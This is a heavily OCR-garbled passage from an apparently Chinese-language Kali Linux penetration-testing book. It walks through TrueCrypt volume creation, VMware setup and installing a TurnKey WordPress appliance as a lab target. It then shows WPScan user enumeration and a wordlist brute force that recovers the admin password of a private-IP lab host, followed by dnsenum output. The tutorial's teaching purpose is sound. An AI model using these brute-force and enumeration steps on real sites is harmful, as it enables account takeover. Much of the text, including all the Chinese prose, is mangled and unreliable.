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PATUA Ldn e, Kol 2.6 B Fei .
TrueCrypt |-=-[-m-|

Volumes Favorites Tools Settings Help k

Slot  Volume Size Mount Directory Type
—-—-[i
e 2

]

e ]

e 5

o G

T

e B

g

e 10

w11

- 12 o

Create Wolume

Volume
E [ o Select File... |
¥l Never save history Volume Tools... Select Device... |
- ot -— -
| Maunt | Auta-Mount Deu'icesl Dismount Al.l“ Exit

— — A —
1 =

P4 2.6 TrueCrypt #1465 100

(2) {EiZ S0 i Create Volume $& 8, 5 Som & 2.7 [ i) 5100 .

TrueCrypt Volume Creation Wizard *

@ Create an encrypted file container

Creates a virtual encrypted disk within a file.
Recommended for inexperienced users.

More information

) Create a volume within a partition/drive

Formats and encrypts a non-system partition, entire
external or secondary drive, entire LISB stick, etc.

M) | [ Next> | [ mj

4 2.7 TrueCrypt Volume Creation Wizard

e

TrueCrypt Volume Creation Wizard

AC) |
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(3) {Ei% S e FE A =72 0%, X Bk ERIA Y Create an encrypted file container ¥EII,
il Next f28, 43 5hasi# 2.8 Froasi) 5t .

TrueCrypt Volume Creation Wizard | X |

Volume Type

® Standard TrueCrypt volume

Select this aption if you want to create a normal
TrueCrypt volume.

[/ Hidden TrueCrypt volume

It may happen that you are forced by somebody to
reveal the password to an encrypted volume. There are
many situations where you cannot refuse to reveal the
password (for example, due to extortion). Using a
so-called hidden volume allows you to solve such
situations without revealing the password to your
wolume.

More information about hidden volumes

FRRN(H) [ < Prav MNext » | HLE(C)

¥ 2.8  Volume Type

(4) Z AR, X IR A MY Standard TrueCrypt volume, ili Next #4241,
¥ 5ot P 2.9 Bros i St .

TrueCrypt Velume Creation Wizard v l-n:-il-:ﬁ_';-l

Volume Location

“ | Select File...

& Mever save history

A True Crypt volume can reside in a file (called TrueCrypt
container), which can reside on a hard disk, on a USB flash
drive, etc. A TrueCrypt container is just like any normal file
(it can be, for example, moved or deleted as any normal
file). Click 'Select File’ to choose a filename for the
container and to select the location where you wish the
container to be created.

WARNING: If you select an existing file, TrueCrypt will
MOT encrypt it; the file will be deleted and replaced with
the newly created TrueCrypt container. You will be able
to encrypt existing files (later on) by moving them to the
TrueCrypt container that you are about to create now.

HENH) . <Prev | HLE(C)

%] 2.9  Volume Location
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(5) 7ri% St sdy Select File... 48], 5 5t 2.10 By 1 FLif .

Specify a Mew TrueCrypt Volume k
BN : [Crypt'l.ful.urnel
REFXHRF) : | < | Eiroot IRSTHER(L)
uER) & EL R L 8
LR M Desktop 20148038148
& M ERD [ fbterm-1.7.0.tar.qz 9.6k RW—
|- wlan-0Ll.ivs 434 F7 REAM
All Files v .|
| mEO || &#e) |

210 53— 8 TrueCrypt 4

(6) PRS- AR DA, ERAEMESFEA CryptVolume, {217
fE/root Hat &, SRS “Ar” 4%, F i 2,01 Fros it Ftm .

TrueCrypt Volume Creation Wizard . x|

Volume Location

v Select File... |

[.front.fCl",lpt‘u"nlme
¥ Never save history

A TrueCrypt volume can reside in a file (called True Crypt
container ), which can reside on a hard disk, on a USB flash
drive, etc. A TrueCrypt container is just like any normal file
(it can be, for example, moved or deleted as any normal
file). Click "Select File' to choose a filename for the
container and to select the location where you wish the
container to be created,

WARNING: If you select an existing file, TrueCrypt will
MNOT encrypt it; the file will be deleted and replaced with
the newly created TrueCrypt container. You will be able
to encrypt existing files (later on) by moving them to the
TrueCrypt container that you are about to create now.

HmanH) < Prev Next> | | HEUB(C) |

# 2.11  Volume Location

(7) {EiZ S ] LA B A0 G 2 (0 3E 1 2 BRI B . B85 fdi Next $24H, s bos in 4
2.12 Py At .

(8) fEiZSriniksein e 5k, XIS §HL AES, A5 # i Next HHl,
PP 2.13 Broas iy Fei .
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TrueCrypt Volume Creation Wizard l-——--'.:—I
k

Encryption Options

Encryption Algarithm

[ AES ¥ Test

FIP5-approved cipher (Rijndael, published in 1998) that
may be used by U.5. government departments and
agencies to protect classified information up to the Top
Secret level, 256-bit key, 128-bit block, 14 rounds
(AES-256). Mode of operation is XTS.

More information on AES

Benchmark |
Hash Algorithm
RIPEMD-160 % | Information on hash algorithms
HRahH) <Prev | Next> I HHE(C)
f%/2.12  Encryption Options
TrueCrypt Volume Creation Wizard '-:-'-’ﬂ'—l

Volume Size

110240 IR

Free space available: 61.1 GB

Please specify the size of the container to create. Note
that the minimum possible size of a volume is 292 KB.

BREN(H) < Prev Next> | | HUB(C)

£ 2.13 Volume Size

(9) %A mTE RN A 10GB, SRS i Next f2#l, H4 SR 2.4 Fiosi
i -
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TrueCrypt Volume Creation Wizard k L:- L-I

Volume Password

Password: l- sasas

Confirm password: [- sEane i

[ Display password
[ Use keyfiles Keyfiles...

It is wery important that you choose a good password. You
should aveed choosing one that contains only a single word
that can be found i a dictiohary [of a combination of 2, 3,
or 4 such words). It should not contain any names or dates
of birth. |t should not be easy to guess. A good password
is a random combination of upper and lower case letters,
numbers, and special characters, suchas @ ~ = % * + etc.
‘We recommend choosing a password consisting of more
than 20 characters (the longer, the better). The maximum
possible Length is B4 characters.

BN (H) <prev | Next> | | HUM(C)

% 2.14 WVolume Password

(100 fEzSrmsm A — NG EE, ARl —
Next {8, @i 2,15 Fros i 9. ' & ::if:z:'*_x:nmmnmvtwﬁwmwm-
C11) % s BUE RV, @O/ 20 0 T
e G e e B
fil, Bt 216 fras gl St . sm || &m
(12) fEi St A B SO, X3
i%4E 1 will not store files larger than 4GB on the
volume. #5J5 Hil; Next ffll, 2 nE 2.7 Bt 5 .

TrueCrypt Volume Creation Wizard k .

Large Files

® | will not store files larger than 4 GB on the volume

Choose this option if you do not need to store files
larger than 4 GB (4,294,967, 296 bytes) on the
volume,

L 1 will store files larger than 4 GB on the volume

Choose this option if you need to store files larger than
4 GB (4,294,967, 296 bytes) on the volume.

MENH) | | <Prev | MNext> | | mE©

% 2.16  Large Files
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es

TrueCrypt Volume Creation Wizard

Format Options
Filesystem Options

Filesystem type: | Linux Extd (<

Volume Format Options

In order to enable your operating system to mount your
new volume, it has to be formatted with a filesystem.
Please select a filesystem type

If your volume is going to be hosted on a device or
partition, you can use 'Guick format’ to skip encryption of
free space of the volume,

FRhH) <Prav || Next> | HUR(C)

[¥ 2.17 Format Options
(13) fEi% SR S0P RS2, BR0J2 FAT. % 1 Hit ¥ FF Linux Ext2. Linux EXt3
Fl Linux Extd SC25%, X HEH Linux Ext4, fii Next #2858 2.18 Frasli
d?r‘\-.l-ﬁ-l.ﬂ

TrueCrypt Volume Creation Wizard l—:— .¢.'—|

&
Cross-Platform Support

1 1 will mount the volume on other platforms

Choose this option if you need to use the volume on

other platforms.

® | will mount the volume only on Linux|

Choose this option if you do not need to use the
valume on ather platforms.

EaEN(H) < Prev Next> | | HUA(C)

4 2.18 Cross-Platform Support
(14) iZFHEFAEEAIZER S, REESES 70T will mount the volume

« 5() =
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only on Linux, HLily Next 48, 45 5as ¥ 2.19 Bras e Fe .

TrueCrypt Volume Creation Wizard | = [ X ]

Volume Format

Random Pool: 484719273158EEE78506400519 . . M |She

Header Key:
Master Key:

Done Speed Left

IMPORTANT: Move your mouse as randomly as possible
within this window. The longer you move it, the better.
This significantly increases the cryptographic strength of
the encryption keys. Then click Format to create the
volume.

FREhH) <Prev | Format | BRI |

4 2.19 Volume Format

(15) BLAEER AL ar i U AR, BRIy Format {25, B Wil 2.20 Frasi

FrI o

TrueCrypt Volume Creation Wizard _ X

Volume Format
Random Pool: CBE2E39Z2T4924F41B2C11DFE62B. . & She

Header Key: 1B20A434130D07F2D7OCE99CTES . |
Master Key: D626EDBSEQZE4DCTIIFDABEACC. |

i Abort

Done | 9.404% | Speed | 7JOMBfs | Left | 2 minutes

IMPORTANT: Move your mouse as randomly as possible
within this window. The longer you move it, the better.
This significantly increases the cryptographic strength of
the encryption keys. Then click Format to create the

volume,

4220 kULt
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(16) iz St s T HE AL A RERE S BERTIR ] S5 B 2 FRIZ1T 58 05, st
4 2.21 oty Ftif .

TrueCrypt

o The TrueCrypt volume has been successfully created.

P4 2.21  TrueCrypt % i Th

(17) E3| EmEE 1, Fos TroeCrypt O I T o dbik, oy “wieE ™ #edl, %
St 2.22 st S .

TrueCrypt Volume Creation Wizard Hq.:l
Volume Created
The TrueCrypt volume has been created and is ready for

use. If you wish to create another TrueCrypt volume, click
Mext. Otherwise, click Exit.

PREN(H) | | <Prev Next > Exit

222 Volume Created

(18) PEES TrueCrypt F i 5e ke 7o W Lk LA EE ) — 4> TrueCrypt 115,
iff Next fi¢4l . 750 o7 Exit 44, #di Exit # 45, AR 2P 2.6 Fros it 4 .

252 NHEMRE

fE b—/ i lch g8 T e Hag. mBREAFINEMNE, HEEZEMEE A
Vilee A TR, SR 2.6 IR PIERE M. SRS Hk Select File. %4, 4177
WAl € ) CryptVolume 5. 3X I # i Mount 4241, # EoninE 2.23 f b FLii .

TEiZ S A G CryptVolume 5 B I3RS, Sy “wia ™ $&Hl, 5 mpE 2.24
ERGE TP

* 57 .
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TrueCrypt \ x|

Volumes Favorites Tools Settings Help
Slot  Wolume Size Mount Directory Type
- 7
e 3
]
w5 | Entsr password for “/root/Cryptéoluma™
-o Password: [ ----- | l | WE©D) ]
-7
1 [ Cache passwords and keyfiles in memory | HLA(C) |
-9 [ Display password
w 10 f
— [ Use keyfiles | Keyfiles... | | Options > ]
w12 ) —
Create Volume Velume Properties Wipe Cache
Volume
[Irmtjtrwwnl.uml W | Select File... ]
& Nevar save history | Volume Tools... | | Selact Davice.. | ‘
I Mount IAutn-Maunt Dﬂicu‘i I Desmaount AlL ‘ I Exit Jl

—r—
Volumes Favorites Tools Settings Help ,;;-c’* ‘?)V |
Slot  Volume jze Mount Directary /  Type
-2
L]
-
- 5
-G
-7
- B
w0
e 10
w11
e 12 - ‘
Volume Frﬂw‘fll...l | Wipe Cache
Volume
I.fmuﬂ'crypw-nl.m hd [ Select File... ]
& Never save history | Volume Tools... | [ Select Device... ] |
[ : '
| osmount I.-.utuann Dwicﬁli Dismount AlL Exit ]J |

€ 2.24 CryptVolume #4E# Rz

MAZ St 0] LA 3] CryptVolume F5MEEE G B K/ANIAR A B . 0, ATkl
AL e R rh i AR e A AR U X . Y e E e S . BT LR il
Dismount All $%£l 513 1% 45 .

* 53
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2 se e ol LA @ S s AGE R B R . Ml grm e, KECETH
fF Kali Linux o) T H. 7 SEAFHbEGUEL S0 T B e, D20 i et s
555 o ACEDI A 41 o i H) VMware Workstation F i & FhiffE R 45 . ASs F 3R S

O {FH VMware Workstation;

O Xl WordPress #1HAh v HIFE 1 .

3.1 4% VMware Workstation

EHE 1 Tafmg ke 7 fF VMware Workstation | %2%% Kali Linux HEdUE B §5 .
VMware Workstation foiF 22368 R4 ¢ LLs BRI EE . A~ THZRAEE EEE), &)
LI #E Kali Linux DDRESEHE T HAR EHL. AR5 A 200 0L 2477 Windows
XP. Windows 7. Metasploitable 2.0 Fl Linux . 2288 5485007 LA 1005 MR EAE RN 1SO
A, RS/ VMware Workstation % . X897 58 RG22 i AITE S 1 T el e de
Kali Linux (/735 —FF, X H A H A

YA PAETELEPATES N, TaEs S Ed b Ra AR e 5 idaetr. AT N
F e, VMware Workstation $24E 7 —/NEH i T H, sEBURRIEAEI 6. X, ol
eE T R e B A UL RS . O AU BT, SR R ETOCH] . B, AGERCEE.
5 R AL A Y L R D 3R R R

(1)7F VMware Workstation = 5% [[1] 70 35 BRI ) R HL . 8K )5 71 1% SRl ok 885 1
FUHL” | <R (M) 7] YRR (C) T A, HEeRWE 3.0 BroR S .

1&\ R 0 2 ML S

TS B S R A R -
e e T T e
EfE > 9 >R > B T
iR -

Workstation

Bl 3.1 ARG A el R R AL 1)
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iR aR({URR = eIt S ):
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(E—#®|[FFfm> [ DA |
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(3) FEiZSr 0] UL A RS OV v, IR “ REAUL P 1 R Ras ™ 1.
£/ O P R A 4 P L S T 1 R TN (BT

TOEE

BERtHETIR(L)

R RN ERENNRGIR. ARaTFiNRETEL - BR. LA
his] B A eI A HEETT -

o ERRRUR(F)
TS RSN S RETAREERE . HEIX BN S2G. BRE
SayrikidRTE -

KI—#m|FFm> [ BA |

33 wEEE

(4) fEZSEFE e ik, BOAIRAL T “QUERREREwpE ™ i “ R SERE s BE ™ Pl
Jrikie AlhikdE C @ E R B B, MRJn Rl CF B il S EsnE 3.4 B

N ERTIT

O SRR BRI SCAI PR T B HRC ) . SR v B 1 B ) 3 A0 (1) B A
AT, WMARACKRA W CHemgemiby) AR et A RERER] T .
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EiERRV)
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D:\JEEEE &\ Documents) Virtual Machines|Kall ByeiE @
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P34 BERPLE R

(5) S AR BEE UL AR AR g . Gy “5epld” $5il, Frhbonind 3.5
FIr i) S 10

 EGRERN

v ETEEuTIERIE
EthR =R

-
Viware Workstation

ETEIE. .

P35 IETE SR UL

(6) &g e e RERIALA Nl fE . efEsehll)n, R 3.6 Frsi fif.

(7) MizStin LLE B RERNL O B e ple, BB ey “ O dil, s lE RIS
H zhis 2 VMware Workstation = 3 L1 50A . P 3.7 Fros.
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B 3.7 RS EERLEL

3.2 3# WordPress Fo At 57 Bl 42 5

AR 2 ) b A ) SAAS ( Software as a Service) | H W HIZE AT Tk 25 491
. A Ar]2E % Al H] WordPress 15 4 Al AT TR 5k () ) 7245 38 R &8, Bl 7 s3I b il ] Drupal
HEZE . M IXLepy B PR e eh 4 B, 2 HEH A O Er .

Sy TR Tt N HTFEFP, Turnkey Linux S — M HERAFAYTEIE. Turnkey T H 1)
B 7 i http:/fwww turnkeylinux.org, AT N A5 1T Y WordPress Turnkey Linux %
iTH
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3.2.1 %kBY WordPress [z fBi2F

P WordPress W F]FE P (1) FAAR A D B I R A
(1) TEDNE 25 A hitp://www.turnkeylinux.org #hl, TR R0 3.8 Fras. M
1% 4 F 4% Turnkey Linux.

TURM KEV ¥ APPS ¥ HELP v BLOG  » SCREENSHOTS  » TURNKEY H
h 4 0 " I Lsgin | Regmster Sexrh [
Have you checked out the TurnKey Hub yet? Try the live demo!
Tokal: 165.5 N (30,030} Backup & Migration e . Cloud Servers
Secure and easy server backugs Rapidly explore and deploy
130.6 MB to Amazon 53, Automatically Virginia [East USA) * 100+ free server apps in thi
restorg servers from backups, Amazon EC2 clowd,
64.0 MB Miicro: $0.02 howr
) Test backups in the dowd. Only a browser required.
Beneafits Blog
100+ ready-to-use solutions: discover and leverage the best free software, Deploy solutions What's the best way o do
quickly on bare metal, virtual machines, or in the doud. free software bountles?
11th Apr, 2014
Free as In speech: free software with full source code and a powerful bulld system. Free of TurnkKey 13 critical v

ia s ey burnkeyhnus.orgdall
Bl ylinus.org/all i

>

4 3.8 Turkey 1201

(2) iz s TVF2 R, afLulnd m sl i & f. B e, 3.8
HEW T — 802, ez, e el fE &tk e deimi, Jhdct TH
NP LR R At P A . A p s i #5011t WordPress, [n) i 8 bR n] LA
F| Instant Search & iHHE, Un[# 3.9 B,

"
[.ﬂllt Specials  Content management  Web development  Issue tracking Messaging
Joomla 2.5 Dirignal £ ASP _HET an.lmn:he with
Cutting Edpe Content Content Management
Hanagesment Framwsork Free HFI' haoating
- |
Sahanas Eden Ushshich GitLab CouchDi
Humanitarian platform Crossdsourcing Crivis Self Hoated Git JEOH based Wb
Informakion Manap=ment databume
LAMP Stack Ien Cart il Framework EDOPS
‘Web Stack [MyS0L) onlire shore PHP framesvsoric Content Management
manag=ment syvtem ard Web Application o
Flatiorm
€ >

39 rifERE
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(3) fEiZAEHE P EI A WordPress, #RJG4 F[RIZE8R, Bl 3.0 Fros v 5 .

WordPress X A

WordPress - Blog Publishing Platform

WordPress is a state-of-the-art publishing platform with a focus on aesthetics, web
stamdards, and umability. It i one of the worlds most popular blog publishing
applications, includes toms of powerful core functhomality, extendable ia literally

“ hundreds af plugins, and supparts full theming.

Q=

Etherpad Lite Joomla 2.5 Drupal 7 ASP .MET on Apache with
Real-time document Cutting Edge Content Content Management Mol Moo

collaboration Management Framewark Free .MET hosting

P —_— - 0
% 3.10 WordPress W FFE 1Y

(4) 7EiZ 5t o] LLA 2] WordPress P27 484k 8, I it WordPress-Blog Publishing
Platform ##EHE A F R0, Wl 3.11 Bros.

TU R M K EY ¥ APPSS w HELP, v BBOG = SCREENSHOTS » TURNKEY HUB
. 4 T " I~ Leg in | Regisher Cearch Ga

—_—

» Halp Wou are here:  Home & \irbusl spplucces = WordPress

v Apps Blogging PHF  Content management E}subscribe
. s \ . b X
* IT Infrastructure WordPress - Blog Publishing Platform

= Web development
= Content management
» Business management

WordPress is a state-of-the-art publishing platform with a focus on aesthetics,
web standards, and wsability. It s one of the worlds most popular blo
publishing applications, includes tons of powerful core functionality, extendable

* Messaging wia literally hundreds of plugins, and supports full theming.
* Issue tracking
» Database m
» SOK BUILDS: 243MB VM  220MBISO = OVF, OpensStack, OpenvZ, OpenMode, Xen (7] | Manifest & Sigs
RUN FROM BROWSER: Deploy ‘WordPress in minutes to the Amaron BC? cdoud
WordPress Updates TELDEY SOURCE: github. com/tumkevlinus-apps/wordpress (71

Hew Twrnkey WordPress

R Stable wersion: 13.0 (changelog)

B >

P4 3.11 Turnkey 4% 000

(5) {EZS LS~ 180 Mg scfF. il 220MB 1SO &4, #5 B niE 3.12 Fiox
SIEIE
Subscribe to Security and News announcements

Sign up to Turnkey's low-traffic announcements Email address:
newsletter to get important security bulletins —
and updates on major new releases,
We won't spam you, See our Privacy Policy
In the works: dozens of new apps,

high-security deterministic bullds, clustering, [ Subscribe and go straight to download J

multi-app installations. better backups...

Mo thanks

3.2 Ve
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(6) I T4, WY AL . 315585, iy Subscribe and go
straight to download §% 1, #JF &3 F 4 Turnkey WordPress 11} .

3.2.2 %% WordPress Turnkey Linux

A F A 4F VMware Workstation '}I’r"*“-' WordPress Turnkey Linux. T VMware

Workstation [[J{EH], 753 1 S2rp Q& VR /240, I B s A PR BT « %23 WordPress Turnkey
Linux [FLHA&SAE DERW s,

C1) Rgmvn B0 ISO SCfE S AR, S5 B ahte L, S avinld 3.13 frow
TETI

IURVIKE Y

Install to hard disk

%1 3.13  TURNKEY #1451

(2) {Fi% Y % £F Install to hard disk 2ET0, 2 “ZE8E" , 45 D 3.14 Brsm
FEIHI

' Debian Installer Live '
The installer can uuida vou through pnrtltiu‘ning a disk (using
different standard schemes) or, if you prefer, you can do it manwally.
Hith guided partitioning vou will =till have a chance later to review
and custodise the results,

If vou choose guided partitioning for an entire disk, you will next be
asked which disk should be used.

Partitioning method:

i ided uze entire disk and set aup LUH
Guided - use entire disk
Hanua l

<0k> <Cancel>

E 3.14 BTk
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(3) SR R ke RS T =FnE, sl (R RE AL I B
LVM. {EHBEARERLA T8 o0 (X . A HLEFEAE - Fh, BRJ5 9l OK #&Hl, o astnf® 3.15
Btz ) S

B 305 RS A

(4) ZFFH A T o K AE L, RSO ol 5 AT A TG LVM W2
AR o Bl o XS, iy No 5, N Yes f5bH. A4 i Yes f%Hl, 5
s 3.16 Fras i) 571 .

B4 316 LVM {7k

(5) &FHHE s T LVM IR E R B iy OK $%Hl, HF s 3.17 Fras i 5t i .

5317 i 515 K A

(6) ZFtMPe i 912 G4k e R0, tnf, fuli OK #4H, off Sasin(&
318 P (vl -

(7) SRR TR 7 DCRAT R, BRI 7R A2 15 285 AN M . X BLRl Yes 424,
Fs ot 3.19 o i S .

chl .
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PH3.18 R FE

P 3.19 B Bl

(8) ZF s 7SR R A . B s, B RoniE 3.20 B
SL1 .

# 3.20 %% GRUB 4l

(9) S HiPL s IE T 4% GRUB 5| INZRFE P A9 15| ik IXHLG Yes $iHl, ff
ot 3.21 Frosi S

€321 REER RS

(10) %l 7% WordPress Turnkey Linux C£8 %452, AR R N R4,
Hiihi Yes $%8, A WorunlE 3.22 Frow i g .

(11) Ei%5H A Root ] P8 — &, WMAEILE, i OK 5, 5o e
3.23 PRty Frif .

G2 .
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4 3.22 Root i

P4 3.23  Root i\ %0

(12) iZ SR P IO Root HF R AMIFAVENS, i OK 8l H5 i 3.24
Bz 1) FE 1 -

4 -'.,: *\I,\.‘, J
324 MySQL &Y /

(13) 7EiZSH 4 MySQL HR% 1 Root Bl i ~% 04, wa5EE it OK #4Hl,
¥ St 3.25 Fiam ) AL .

B 3.25 MySQL ffiih &g

(14) {EiZ S MySQL Ik 45 Root HI P S AR R # %, 885 iy OK 424,
K o B 3.26 Fros i) S .

[%13.26 Wordpress il /' admin ¥4
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(15) FEiZ S %Rl Wordpress (91" admin ¥ — M85, SAEEE, $ili OK
Fel, A5 os i 3.27 BroRi i .

9 3.27 Wordpress ]/ admin fifi ih % 54

(16) {Ei% 5410151 4 Wordpress H1 & admin $if AH [A) 9% 59, #8)5 ki OK #edl, 5
Rt 3.28 B B if .

328 i E MRS HhE

(17) & 57 Wordpress ] /' admin ¢ & — N HEfF i hE, 3% B4 FH ER DM
admin@example.com. #8757 Apply $44, F Sontn 4 3.29 Fro i) il .

3.29 Initialize Hub Services

C18) iz Frifl o T ¥I%E Hub 50 (5 K, 2B i S sty Skip &6, #5125 3.30
IENE

[¥1 3.30  Security updates
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(19) iZ SR e o3 e A, X H R Install 4401, F SonnE 3.31 i
AR S 18

¥ 3.31 WORDPRESS appliance services

(20) 1ZFH0 W7 T WordPress W IR & IVEAN{5E B, W1 Web Huhl. Web shell Jhil 1
i 1. Webmin ik, PHPMyAdmin Hulih Fldm 1152 SSH/SFTP Hihik fild 1155 . BB, 2]
WordPress Turnkey Linux 5% 7] LL{#F] 1.

3.2.3 I WordPress [ 12 ¥

NS E T WordPress HEUHLIY 222E . BUAE s o LA 2 WordPress FE4ELHL, 71 Kali
Linux F{EH] WPScan Hili'l. WPScan & MRS affias, Eavrhl P ik Word
Press G2 M — 2 VRN 22 45 TR . AN A48 4 ] WPScan L H E(ili WordPress [
.

WPScan 1t Kali Linux " O£ 8RN 2ede . & Mg S F By

wpscan [ 1] [l

i AT A R BT

Q --update: B EEGHT R A .

Q --url]-u <target url>: 7% 14 WordPress [I') URL (& il 777 ) Bl 4.

O -force |-f: AL RS 57 1F129T WordPress, 5] WPScan ANk 5.

Q --enumerate |-¢ [option(s)]: 14 . ZZETRIFTEIT us w[10-20]. p. vp. ap.
tt tv vt Fil ate Hobou Fm P 2 M id1 2 10, u[10-20)2= 1 P 2 M id10 3] 20
(NPMFRFRANE) 5 p ZopilifiFers: vp FoRURFIEIFEE: ap RHTA
PR (RTRERF 22— EUIR)) 5 o %o timthumbs; t #on F8; vt Fon (0T
Ml at FoR BT 8 (WTRERR 22 -Burm)) .

[ 3-11  ffi ] WPScan J{ili WordPress F 7 (19 L AR R 10 3R 0 F i

(1) 7E Kali Linux -, #F WPScan [ BI{EE . AT 600 F B os:

Q5.
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root@localhost:~# wpscan -h

J_."' . | ' 1IIL
| )N O GO B O I
_| Y N L W O i
WordPress Security Scanner by the WPScan Team
Version v2.2

Sponsored by the RandomStorm Open Source Initiative
@_WPScan_, @ethicalhack3r, @erwan_Ir, @gbrindisi, @_FireFart_

Help :

Some values are settable in conflbrowser.conf.json :
user-agent, proxy, proxy-auth, threads, cache timeout and request timeout

m conf/browser.conf.json).

--basic-auth <username:password> Set the HTTP Basic authentication

--wordlist | -w <wordlist> Supply a wordlist for the password bruter and do the brute.

—-threads | -t <number of threads> The number of threads to use when multi-threading
requests. (will override the value from conf/browser. conf.json)

--username | -U <username=> Only brute force the supplied username.

--help | -h This help screen.

--verbose |-v Verbose output.

Examples :

-Further help ...
ruby ./wpscan.rb --help

-Do 'non-intrusive’ checks ...
ruby ./wpscan.rb --url www.example.com

-Do wordlist password brute force on enumerated users using 50 threads ...
ruby ./wpscan.rb —url www.example.com --wordlist darkcOde.|st --threads 50

-Do wordlist password brute force on the 'admin’ username only ...
ruby fwpscan.rb --url www.example.com —-wordlist darkcOde.lst --username admin

PATLA A4 TE, SRR, o6 B 85 7 WPScan [MIRLAEH. 771k
Sz WPScan [P 1775, BT WIRAEE, ZENE T o NgE, AR #Eess o B
(2) {fH WPScan Y[ WordPress HEHLHL. A<, WordPress 1] 1P HbHil &
192.168.41.130. 04741 K Frop:
root@localhost:~# wpscan -u 192.168.41.130

\ A riv \/

VAN S e o
LAY ARV A VN N N A VA B Y
LAV AR B

VAR VAR I | AR A

v Qb .
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WordPress Security Scanner by the WPScan Team
Version v2.2
Sponsored by the RandomStorm Open Source Initiative
@ WPScan_, @ethicalhack3r, @erwan_Ir, @gbrindisi, @ _ FireFart_

| URL: http://192.168.41.130/
| Started: Thu Apr 17 13:49:37 2014

['] The WordPress 'http://192.168.41.130/readme.html’ file exists

[+] Interesting header: SERVER: Apache/2.2.22 (Debian)

[+] Interesting header: X-POWERED-BY: PHP/5.4.4-14+deb7u8

[+] XML-RPC Interface available under: http://192.168.41.130/xmlrpc.php
[+] WordPress version 3.6.1 identified from meta generator

[+] WordPress theme in use: twentythirteen v1.0

| Name: twentythirteen v1.0
| Location: hitp://192.168.41.130/wp-content/themes/twentythirteen/

[+] Enumerating plugins from passive detection ...
Mo plugins found

[+] Finished: Thu Apr 17 13:49:41 2014

[+] Memory used: 2.414 MB

[+] Elapsed time: 00:00:03

S 145 B T WPScan — /4 9 Bk A5
(3) FIHH & ylde, $dTar o
root@localhost.~# wpscan -u 192.168.41.130 -e u vp

\ 4 ;S
VA A ST L
LAV VAV
(VAN S _ I
(VAR VRN I
WordPress Security Scanner by the WPScan Team
Version v2.2
Sponsored by the RandomStorm Open Source Initiative
@_WPScan_, @ethicalhack3r, @erwan_Ir, @gbrindisi, @_FireFart_

| URL: http://192.168.41.130/
| Started: Thu Apr 17 13:50:49 2014

[l The WordPress 'http://192.168.41.130/readme_html' file exists

[+] Interesting header: SERVER: Apache/2.2.22 (Debian)

[+] Interesting header: X-POWERED-BY: PHP/5.4.4-14+deb7u8

[+] XML-RPC Interface available under: http://192.168.41.130/xmlrpc.php
[+] WordPress version 3.6.1 identified from meta generator

[+] WordPress theme in use: twentythirteen v1.0

| Name: twentythirteen v1.0
| Location: hitp://192.168.41.130/wp-content/themes/twentythirteen/

oﬁ?o
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[+] Enumerating plugins from passive detection ...
No plugins found

[+] Enumerating usernames ...

[+] We found the following 1 user/s:
S +emmmnnn +
| Id | Login | Name |
Fommmtemmnma- T +
| 1 | admin | admin |
L — L R +

[+] Finished: Thu Apr 17 13:50:54 2014

[+] Memory used: 2.379 MB

[+] Elapsed time: 00:00:04

AR EH RO S T L 5024 R 6 AT — AN, 42 admin.

(4) 2y WPScan $55E —4> wordlist 3 {, i Ffj--wordlist <path to file>i£ 17 . $417 #7411
NIERE

root@localhost:~# wpscan -u 192.168.41.130 -e u --wordlist /root/ wordlist.txt

AT s

L WA N I D B
LAV VAV PN NS SN
VAN S y Ll
Vi | | AV A W

WordPress Security Scanner by the WPScan Team
Version v2.2
Sponsored by the RandomStorm Open Source Initiative
@ WPScan_, @ethicalhack3r, @erwan_Ir, @gbrindisi, @_FireFart_

| URL: http://192.168.41.130/
| Started: Thu Apr 17 13:54:51 2014

[!] The WordPress 'http://192.168.41.130/readme.html’ file exists

[+] Interesting header: SERVER: Apache/2.2.22 (Debian)

[+] Interesting header: X-POWERED-BY: PHP/5.4.4-14+deb7u8

[+] XML-RPC Interface available under: http://192.168.41.130/xmlirpc.php
[+] WordPress version 3.6.1 identified from meta generator

[+] WordPress theme in use: twentythirteen v1.0

| Name: twentythirteen v1.0
| Location: hitp://192.168.41.130/wp-content/themes/twentythirteen/

[+] Enumerating plugins from passive detection ...
Mo plugins found

[+] Enumerating usernames ...
[+] We found the following 1 user/s:
Fommetemmaana Fmmmmmaa +
| Id | Login | Name |
[ S —— L +
| 1 | admin | admin |
B T Fammmaaa +

oﬁﬂo
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[+] Starting the password brute forcer
Brute Forcing 'admin’ Time: 00:00:00 < > (59/20575) 0.28%
ETA: 00:00:00
[SUCCESS] Login : admin Password : 123456

4+ + + +
| Id | Login | Name | Password |
Fomeat + + +

|1 |admin | admin | 123456 |

+omet + + +

[+] Finished: Thu Apr 17 13:54:56 2014
[+] Memory used: 2.508 MB
[+] Elapsed time: 00:00:05

Mo 5 2, aTLLAE ) WordPress HI 7 admin (%8 55 CUE R S
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BIE MR AR B S B . AT R ENZIENRS, B ERTH
PrENLAEEALE . HPE2I0E REE, 2\t soh b aiiEs . Kali Linux #
fE& e L4 T —2e T H, wr LI A P s mURn gl 29 H b =000 Bl (R P 19 358 4 1)
Ja 82 . A TR 4 Maltego., CaseFile Fl Nmap T H [ FH 8 50 S R
H2E i 55 5
W o 5
TR IR HLA A T T A g 1
RGTRE0R N
Al 555 80
HAhf5 BT B
i ] Maltego W8 {5 &,

2 P 25 14

(I I Ny I B My Ry W

4.1 # A IR %

MO —25880%, BRI AR gl e 525 B #6154
DNS HZSF1 SNMP #2544 . DNS Hezis o] LU A b T {7 DNS R 45 fd 5<% H . DNS
MO TT LA B Pt R B A ., I 2 44, SESEHLA AN TP HIHESE, S T 3R
YR B, TP Al EARE ) DNSenum T AL BEHETT SNMP 4%, Fil /i %441 SnmpEnum
TH. SnmpEnum 238K SNMP F02 TR, & Vil P 40— A [ 45 g SNMP {5 8
5 .

4.1.1 DNS #Z T B DNSenum

DNSenum s — 5AF 90 R 138045 15 Scs TR & RENS Il 73 i n 7 g SO R I n)
REAFAE A, A AN BT B (] A8 o AVIRT LA ) 1O 5 g L RE A L B4
55 ds MM PE A s, dn] BAYEREA R 55 & _LAT axfr §53K, K5 7 il A 7 30 97
FERA S B, PRI AL IR A, de S S C 2RI RAT whois #rifl, AT B In) A,
JE MBS AT AN AT A @8 HY DNSenum T HEE % DNS BeES . 72805 4047 R B
7S i

root@kali:~# dnsenum --enum benet.com
dnsenum.pl VERSION:1.2.3
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Warning: can't load Net::Whois::IP module, whois queries disabled.
----- benet.com  -----
Host's addresses:

benet.com. 86400 IN A 192.168.41.131
benet.com. 86400 IN A 127.0.0.1

Name Servers:

benet.com. 86400 IN A 127.0.0.1
